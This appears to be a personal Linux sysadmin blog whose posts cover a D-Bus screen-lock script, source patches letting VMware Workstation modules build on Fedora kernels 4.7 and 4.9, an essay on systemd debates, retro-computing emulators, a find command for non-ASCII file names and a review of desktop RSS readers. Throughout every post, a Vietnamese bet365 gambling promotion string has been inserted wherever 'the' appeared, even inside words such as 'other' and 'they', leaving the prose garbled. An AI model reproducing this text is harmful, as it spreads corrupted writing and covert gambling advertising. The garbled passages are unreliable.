DBUS_SESSION_BUS_ADDRESS=$(tr '\0' '\n' < /proc/${PID}/environ | grep "DBUS_SESSION_BUS_ADDRESS" | cut -d "=" -f 2-) \
dbus-send --print-reply --session --type=method_call --reply-timeout=3000 --dest='org.gnome.ScreenSaver' /org/gnome/ScreenSaver org.gnome.ScreenSaver.Lock
Just copy that into a file, make it executable and try it. It should work every time. :)

Monday, January 30, 2017

Fedora 25, kernel 4.9 and VMWare Workstation 12.5.2

Well, after upgrading Fedora 25 which included kernel 4.9.5, VMWare Workstation stopped working again! The fix is easy, even though it annoying to constantly have to patch something in VMWare. Anyway, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 procedure - taken from here - is:
  1. Switch to root account.
  2. Go to /usr/lib/vmware/modules/source.
  3. Make backup of files vmmon.tar and vmnet.tar.
  4. Unpack those files using 'tar xf' command.
  5. Patch file vmnet-only/user_if.c, i.e. you have to open it in you favorite text editor and in function UserifLockPage() that's around line 113 change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following part:
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 6, 0)
        retval = get_user_pages(addr, 1, 1, 0, &page, NULL);
    #else
        retval = get_user_pages(current, current->mm, addr,
                    1, 1, 0, &page, NULL);
    #endif
    with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 9, 0)
         retval = get_user_pages(addr, 1, 0, &page, NULL);
    #else
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 6, 0)
         retval = get_user_pages(addr, 1, 1, 0, &page, NULL);
    #else
         retval = get_user_pages(current, current->mm, addr,
                     1, 1, 0, &page, NULL);
    #endif
    #endif
  6. Then, in file vmmon-only/linux/hostif.c in function HostIFGetUserPages() that's around line 1158, change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 6, 0)
       retval = get_user_pages((unsigned long)uvAddr, numPages, 0, 0, ppages, NULL);
    #else
       retval = get_user_pages(current, current->mm, (unsigned long)uvAddr,
                               numPages, 0, 0, ppages, NULL);
    #endif
    with
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 9, 0)
       retval = get_user_pages((unsigned long)uvAddr, numPages, 0, ppages, NULL);
    #else
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 6, 0)
       retval = get_user_pages((unsigned long)uvAddr, numPages, 0, 0, ppages, NULL);
    #else
       retval = get_user_pages(current, current->mm, (unsigned long)uvAddr,
                               numPages, 0, 0, ppages, NULL);
    #endif
    #endif
  7. Create new vmmon.tar and vmnet.tar using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following commands:
    tar cf vmnet.tar vmnet-only
    tar cf vmmon.tar vmmon-only
  8. Start vmware as you would normally start it. This will trigger module compilation and everything should work.
Note that you are doing everything at you own risk! :)

Friday, January 6, 2017

Few thoughts about systemd and human behavior

I was just reading comments on a post on Hackernews about systemd. Systemd, as you might know, is a replacement for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 venerable init system. Anyway, reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comments was reading about all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same story over and over again. Namely, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are those strongly pro and those strongly con cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 systemd, in some cases based on arguments (valid or not) and in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cases based on feelings. In this post I won't go into technical details about systemd but I'll concentrate on a human behavior that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most interesting to me. And yes, if you think I'm pro systemd, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you're right, I am!

Now, what I think is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key characteristic of people is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y become too religious about something and thus unable to critically evaluate that particular thing. It happened a lot of times, and in some cases cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transition from controversy was short, in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cases it took several or more generations of human lives. Take as an example cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Christian religion! It also started as something controversial, but ended as a dogma that isn't allowed to be questioned. Or something more technical, ISO/OSI 7 layer model. It started as a controversy - home many layers, 5, 6, or 7? The result of this controversy we know, and after some short period of time it turned into a dogma, i.e. that 7 layers is some magical number of layers that isn't to be questioned. Luckily, I don't think that it is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case any more, that is, it is clear that 7 layers was too much. Anyway, I could list such cases on and on, almost ad infinitum. Note that I don't claim that any controversial change succeeded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, some were abandoned and that's (probably) OK.

I should also mention one ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r interesting thing called customs (as in norm). People lives are intervened with customs. Anyway, we have a tendency to do something that our elders did just because, i.e. we don't know why. I don't think that's bad per se, after all, probably that helped us to survive. The problem with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 customs is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y assume slow development and change in environment. In such cases cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are very valuable tool to collect and pass experience from generation to generation. But, when development/change speed reaches some tipping point, customs become a problem, not an advantage - and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y stall adjustment to new circumstances. So, my personal opinion about customs is that we should respect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m, but never forget to analyze if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are applicable/useful or not in a certain situation.

Finally, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is one more characteristic of a human beings, and that is inertia. We used to do things in certain way, and that's hard to change. Actually, I do not think that it is unrelated to religion and customs, actually on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contrary, I think cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are related and it might be something else that is behind. But i won't go into that, at least not in this post.

So, what all this has to do with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 systemd? Well, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is principle or philosophy in Unix development that states that whatever you program/create in Unix, let it do one thing and let it do it right. For example, tool to search for file should do it well, but not do anything else. And my opinion is that this philosophy turned into a custom and a religion in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time. Just go through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comments related to SystemD and read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m a bit. A substantial number of arguments is based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 premise that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a principle and it should be obeyed under any cost/circumstance. But all those who bring this argument forget to justify why this principle would be applicable in this particular scenario.

And cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 state of computing has drastically changed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time when this philosophy was (supposedly) defined (i.e. 1970-ties) and today's world. Let me say just a few big differences. Machines in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time when Unix was created were multiuser and stationary, with limited resources and capabilities, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y were used for much narrower application domains than today. Today, machines are powerful and inexpensive, used primarily by a single user. They do a lot more than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y used to do 40 years ago, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y offer to users a lot more. Finally, users expectations from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m are much higher than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y used to be.

One advantage of doing one thing and doing it well was that it reduces complexity. In a world when programming was done in C or assembler, this was very important. But it also has a drawback, and that it is that you lose ability to see above cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simple things. This in turn, costs you performance but also functionality, i.e. what you can do. Take for example pipes in Unix. They are great for data stored in text organized in a records consisting of lines. But what about JSON, XML and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r complex structures? In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r word, being simple means you can do just a simple things.

This issue of simple and manageable and complex and more able is actually a cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365me that occurs in different areas, too. For example, in networking where you have layers, but because cross layer communication is restricted means you have a problems with modern networks. Or, take for example programming and organizing software in simple modules/objects. Again, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more primitive base system is, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more problems you have to achieve complex behavior - in terms of performance, complexity, and so on.

Few more things to add to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mix about Unix development. First, Unix is definitely success. But it doesn't mean that everything that Unix did is a success. There are things that are good, bad, and ugly. Nothing is perfect, nor will ever be. So, we have to keep in mind that Unix can be better. The next thing we have to keep in mind is that each one of us has a particular view on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 world, a.k.a. Unix, and our view is not necessarily cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right view, or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 view of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 majority. This fact should influence cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way we express ourselves in comments. So, do not over generalize each single personal use case. Yet, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are people who's opinion is more relevant, and that are those that maintain init/systemd and similar systems, as well as those that write scripts/modules for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.

Anyway, I'll stop here. My general opinion is that we are in 21st century and we have to re-evaluate everything we think should be done (customs) and in due course not be religious about certain things.

P.S. Systemd is not a single process/binary but a set of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m so it's not monolithic. Yet, some argue its a monolithic! What is a definition of "monolithic"? With that line of reasoning GNU's coreutils is a monolithic software and thus not according to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Unix philosophy!

Saturday, December 31, 2016

Retro computing resources

From time to time I like to search on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet stuff related to retro and vintage computing. This time my interest was (again) resolving around a wish to try Xenix. Namely, Xenix was a Unix variant written by Microsoft that could be run on IBM PC XT with 8086 microprocessor. While searching where to download Xenix, I stumbled on a WinWorld site which has many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vintage operating systems available for download. So, a lot of stuff to try. Later, I discovered that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is also software shipped as part of a MAME ROM package. You can browse it here.

Obviously, to try cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m it is necessary to have an emulator. Note that virtualization solutions like QEmu, VirtualBox, VMWare and similar don't fit here because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y emulate modern hardware, or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y only virtualize existing hardware. So, I tried to find emulator that emulates PC XT/AT, but also emulators that would allow me to run software for ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r platforms. After half day search, I decided to write this post with everything I found so far.

One site with some kind of a database of a different emulators is Zophar's Domain. It isn't particularly up to date, but nevercá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365less it lists a lot of emulators with different categorizations so I think it's very useful. Later, I found several ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r similar sites:
Zophar's site helped me to find emulator for IBM PC XT/AT, namely PCE. This particular emulator emulates a lot more hardware than just IBM's, and what's more interesting is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author already prepared different configurations for you to download and try. Specifically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is Xenix 2.13 to download and try. Just one note, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se archives are for Windows machines, so if you are - like me - on Linux, download first PCE's source, compile it and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use it instead of provided EXE files. Anyway, I tried it and it worked flawlessly.

As it turns out, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r IBM PC XT/AT emulators:
  • The first one is 8086tiny. It claims to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 smallest emulator cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is. But, I haven't had a lot of success in trying it.
  • In case you want something that runs within a Web browser, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you'll be interested in PCjs, i.e. JavaScript emulator. Source is available here. This one seems to be actively developed at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time this post was written.
  • The MAME emulator.

And this last one is interesting enough for me to devote few paragraphs to it. MAME is emulator that emulates multiple different machines. What was interesting to me is to try several ones:
In each case I had to find appropriate ROM files. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most useful site was Emuparadise. After downloading zip files, I unpacked cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m into a directory named after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 machine as identified in MAME itself and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n started cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 emulation like this:
mame -rp . orao
or in case of Amstrad
mame -rp . pc1512
In each case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 option -rp specifies that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current directory should be searched for rome files, while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r argument is driver/machine to be emulated. Note that ROM files will be searched for in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 directory named as driver/machine. It happened in some cases that not all ROM files were present, but I managed to find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r archives on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same site.

For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, here are some additional interesting links I stumbled on:

Tuesday, November 1, 2016

Short Tip: Find files with non-printable ASCII characters

I have a directory full of different files obtained from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet and it turned out that some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m contain UTF-8 characters because of which indexing didn't work. So, I had to find all files that contain such characters. The solution I found was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following one:
LC_ALL=C find . -name '*[! -~]*'
This command will print all filenames with embedded unicode characters represented as question marks. Few facts about this command:
  1. Assignment (LC_ALL=C) temporarily switches to C locale during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 execution of find(1) command. The effect of this is that find(1) will not interpret multibyte utf8 characters, but strictly byte-per-byte input.
  2. find(1) will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n search for file name that don't contain printable ASCII characters. To see this, take a look at a glob pattern. First and last star mean that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 square brackets can be anywhere within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file name. Square bracket, on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, specifies class of characters outside (exclamation negates range) of a range from space (ASCII code 32) to tilde character (ASCII code 126).
The output of find(1) command will include question marks in places where byte (ASCII char) has a value below 32 or above 126. In order to see what unicode character is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 particular place, you can pipe output to, e.g. cat(1) command, like this:
LC_ALL=C find . -name '*[! -~]*' | cat
This will work because cat(1) command will have unicode encoding selected (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 variable LC_ALL isn't changed for it) and will properly interpret and output multibyte sequences used in utf8 coding. Actually, if you want to nitpick, cat isn't going to interpret anything but will initialize terminal to properly handle utf8 characters which will do actual interpretation. 

A bit about RSS feed readers on Linux

I'm monitoring lot of sites using RSS so having a good RSS feed reader is mandatory for me. Once upon a time, I used Liferea but since I have a lots of RSS feeds with lots of posts I want to keep around, turned out that Liferea wasn't designed with scalability in mind. So, I decided to find anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r one. Web based readers are out of question, because I prefer desktop applications. Not to mention that locally I have lot of disk storage that I don't have to pay, while storage in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cloud I would have to pay due to my heavy use of it.

After a search I settled on QuiteRSS. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process I tried RSSOwl but I wasn't able to start it due to different XULRunner version on my Fedora. Besides, it turns out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last version of RSSOwl was released in December 2013, and isn't maintained any more. QuiteRSS was very good, but it turned out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug in Webkit started to annoy me. So, I started to explore RSS feed readers again. Note that I have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following requirements:
  • No Web application! I want desktop RSS feed reader with GUI interface. It would be nice, though, that I can synchronize it with a reader on a mobile phone!
  • I have a large number of feeds and keep a lot of new (that is unread :D) posts around. So, scalability is of paramount importance.
  • And last, but not least, nice looking and usable GUI. 
This brought me to three candidates: QuiteRSS, FeedReader and RSSGuard. I'll describe each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a bit more details below. But before that, note that this is a live post, i.e. I'll still try all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mentioned readers and update it with new experience. Also, I would like to hear you comments/sugestions, so if you have any, please leave a comment.

QuiteRSS

QuiteRSS is quite good and I'm using it all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time. There is a homepage and GitHub development page. It has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to tag posts, mark cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m as a read, etc.

It is interesting to look at QuiteRSS GitHub page. From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following conclusions can be inferred:
  1. QuiteRSS is quite popular, 33 watches, 180 stars and 28 forks.
  2. QuiteRSS is basically in maintenance mode since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no substantial activity since 2014. From 2012 to 2014 development was very intensive.
  3. There are 212 open issues and 719 closed ones. I think that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are a lot of open issues but more thorough statistics has to be performed to know for certain.
The problems are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following ones, from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most important to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least important ones:
  • You have to disable JavaScript because QuiteRss often freezes on some feeds while loading. It still freezes with some RSS feeds and if that happens some history is lost (read feeds, marked/tagged feds, etc).
  • If you accidentally click on a link to PDF file, QuiteRSS freezes!
  • Once I mistakenly selected cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 option "Mark all news read" which is irreversible. There is no confirmation dialog for such cases.
  • Some posts on GitHub are in Russian. That's a problem because not everyone is speaking Russion. ;)
  • It depends on Qt4 and Webkit4 that are not maintained any  more.

FeedReader

FeedReader is a interesting because it has two components, daemon and a front end. This is uniqe to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r readers that bundle those functions togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r into a single binary. You can read more about this reader on its homepage, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is also GitHub development page. Looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web page, it has a lots of features but I'm using only a few, if any at this stage. Take this into account while reading this review. Looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GitHub page of FeedReader, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following conclusions can be inferred:
  1. FeedReader is somehow less popular than QuiteRss. It has 26 watches (against 33 for QuiteRss), 152 stars (against 180) and 6 forks (against 28).
  2. FeedReader is in active development, and all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 activity is concentrated in 2016 with some additional in 2015.
  3. There are 27 open issues and 197 closed ones. This is better ratio than for QuiteRss, but again more research has to be done!
First problem I had was while removing feeds. It was painful because it doesn't allow selection of multiple feeds or feed groups at once.

The next problem was that only two level hierarchy supported, while in QuiteRSS I have three level. So, importing OPML file with multiple levels will result in transforming everything into two layers.

While removing certain feed folders, some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m kept coming back! Maybe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem was that I right-clicked on a feed and selected delete but it was necessary to first left-click and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n right-click. Who will know...

RSS Guard

RSS Guard, as all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r feed readers mentioned above, has its GitHub development page. As for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 homepage, it uses Wiki on GitHub. Again, by looking into GitHub page, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following conclusions can be made:
  1. RSSGuard has 6 watches, 21 stars and 6 forks. This makes it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lowest ranked by popularity of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 three RSS readers reviewed here.
  2. RSSGuard is in development since 2013 with evenly spread development efforts. This probably means it isn't going to be finished soon.
  3. It has 11 open issues reported and 51 closed. Which isn't that bad.
So, some shortcomings from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 personal experience. It is a bit non-intuitive. It took me some time to realize that in order to import OPML file, first I have to create account. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r non-intuitive task was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process of importing itself. When you select OPML file and all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 feeds appear, you click OK, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you have to click Close. First time I clicked twice OK and got all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 feeds imported twice!

It support multilevel feed organization, but it is not possible to fold certain feed groups, i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are always unfolded! I finally realized that it is possible to fold a folder, you just need to click twice in order to fold/unfold it. But, this isn't something particularly intuitive, nor visible. Namely, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 folder is folded cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no indication nor cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is indication that that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 folder can be folded.

When I click "Update all items" button in a toolbar, I expected that all feeds will be updated. But for some reason, that didn't happen.

Conclusion

Comparing development of each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proposed readers, it turns out that each one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m basically depends on a single developer and has its own pros and cons. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, I think that despite its shortcomings, QuiteRSS is still cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best feed reader closely followed by FeedReader. If development activity of FeedReader continues with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same intensity, expect that it will become cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best RSS among cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 three.

ChangeLog

  • 20161101 - Initial version


Tuesday, September 6, 2016

Fedora 24, kernel 4.7 and VMWare Workstation 12.1.

As usual, when Fedora upgrades kernel to a new major version VMWare stops working. In this particular case my Fedora was upgraded to Linux kernel version 4.7.2. The fix I found is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following one:
# cd /usr/lib/vmware/modules/source
# tar xf vmnet.tar
# mv vmnet.tar vmnet.old.tar
# sed -i -e 's/dev->trans_start = jiffies/netif_trans_update\(dev\)/g' vmnet-only/netif.c
# tar cf vmnet.tar vmnet-only
# vmware-modconfig --console --install-all
And that was it!

Note that this works if you upgraded from linux kernel version 4.6. In case you've upgraded from some earlier version, you'll have to patch it first for those version. Here is how to patch VMWare Workstation to work with Linux kernel version 4.6.

About Me

scientist, consultant, security specialist, networking guy, system administrator, philosopher ;)

Blog Archive